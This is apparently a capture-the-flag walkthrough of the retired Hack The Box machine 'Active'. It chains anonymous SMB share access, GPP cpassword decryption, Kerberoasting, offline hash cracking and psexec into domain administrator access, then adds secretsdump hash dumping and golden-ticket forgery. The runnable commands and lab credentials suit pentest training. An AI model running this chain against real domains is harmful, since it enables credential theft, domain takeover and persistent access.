Target: Hack The Box, retired. Windows Server 2008 R2, domain controller for active.htb, at 10.10.10.100.

Two credential failures, one after the other, with no exploit in between. Both are real findings in production Active Directory, which is why this box outlasts its 2018 vintage. Nothing here is a CVE. Everything here is a misconfiguration somebody made on purpose.

Attack path

null SMB session
      |
      v
Replication share readable  -->  Groups.xml  -->  GPP cpassword
                                                       |
                                                       v
                                              SVC_TGS credentials
                                                       |
                                                       v
                                          Kerberoast the domain
                                                       |
                                                       v
                                    Administrator TGS hash --> crack offline
                                                       |
                                                       v
                                             Domain Administrator

Enumeration

export TARGET=10.10.10.100
mkdir -p scans
nmap -p- --min-rate 5000 -Pn -n -oN scans/all-ports.txt "$TARGET"
nmap -p "$(grep -oP '^\d+(?=/tcp\s+open)' scans/all-ports.txt | paste -sd,)" -sCV -oN scans/services.txt "$TARGET"

The port set alone identifies a domain controller. Kerberos and LDAP together is the tell.

PortServiceNote
53DNSDomain controllers run DNS
88KerberosThe KDC, which is what makes Kerberoasting possible
139/445SMBThe way in
389/3268LDAP / Global CatalogAnonymous bind is enabled
464kpasswd5Kerberos password change

Domain: active.htb.

Foothold: a readable share nobody meant to share

Check for a null session first. It costs nothing and it decides the whole box.

netexec smb "$TARGET" -u '' -p '' --shares

# classic, and still the clearest output
smbmap -H "$TARGET"

Replication is readable with no credentials. That share is a copy of SYSVOL, which is how every domain controller distributes Group Policy to every machine in the domain. It is not supposed to be readable anonymously.

Pull it down whole rather than browsing it interactively:

smbclient "//$TARGET/Replication" -N -c 'prompt OFF; recurse ON; mget *'

The file that matters:

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

That GUID is constant. {31B2F340-016D-11D2-945F-00C04FB984F9} is the Default Domain Policy on every Active Directory domain ever created, so the path is worth memorising.

The GPP cpassword

Groups.xml carries a cpassword attribute. It is AES-256 encrypted, and Microsoft published the key in MSDN documentation, so the encryption is decoration.

gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

Credentials: active.htb\SVC_TGS : GPPstillStandingStrong2k18. Confirm them before going further:

netexec smb "$TARGET" -u SVC_TGS -p 'GPPstillStandingStrong2k18' --shares

The user flag is reachable now, over SMB, without a shell:

smbclient "//$TARGET/Users" -U 'active.htb\SVC_TGS%GPPstillStandingStrong2k18'
# get \SVC_TGS\Desktop\user.txt

Privilege escalation: Kerberoasting

Any authenticated domain user can request a service ticket for any account that has a service principal name. The ticket is encrypted with that account’s password hash, so it cracks offline and the domain controller never records a failed logon.

impacket-GetUserSPNs -request -dc-ip "$TARGET" active.htb/SVC_TGS \
  -save -outputfile kerb.hash

# modern, same result
netexec ldap "$TARGET" -u SVC_TGS -p 'GPPstillStandingStrong2k18' --kerberoasting kerb.hash

The SPN that comes back is active/CIFS:445, and the account behind it is Administrator. A domain admin with an SPN is the finding. That is the whole box.

Crack it. Either tool works; -m 13100 is TGS-REP:

hashcat -m 13100 -a 0 kerb.hash /usr/share/wordlists/rockyou.txt

# or, with a jumbo build
john kerb.hash --wordlist=/usr/share/wordlists/rockyou.txt

Password: Ticketmaster1968

Domain Administrator

impacket-psexec active.htb/administrator:'Ticketmaster1968'@"$TARGET"

That gives nt authority\system, with the root flag at \Users\Administrator\Desktop\root.txt. If you only want the flag, you do not need a shell at all:

smbclient "//$TARGET/C\$" -U 'active.htb\administrator%Ticketmaster1968' \
  -c 'get \Users\Administrator\Desktop\root.txt'

Worth doing after the flags

The box is finished but the domain is not, and this is the part that transfers to real engagements:

# every hash in the domain
impacket-secretsdump active.htb/administrator:'Ticketmaster1968'@"$TARGET"

# domain SID
impacket-lookupsid active.htb/administrator:'Ticketmaster1968'@"$TARGET"

# forge a golden ticket with the krbtgt hash
impacket-ticketer -nthash <krbtgt-hash> -domain-sid <sid> -domain active.htb Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass active.htb/[email protected]

A golden ticket survives an Administrator password reset, because it is signed with the krbtgt hash rather than checked against the account. That is why krbtgt gets rotated twice during incident response.

Worth knowing

enum4linux finds the readable share but buries it in output; smbmap or netexec make it obvious. netexec did not exist when this box was released and is the right default now.

Sources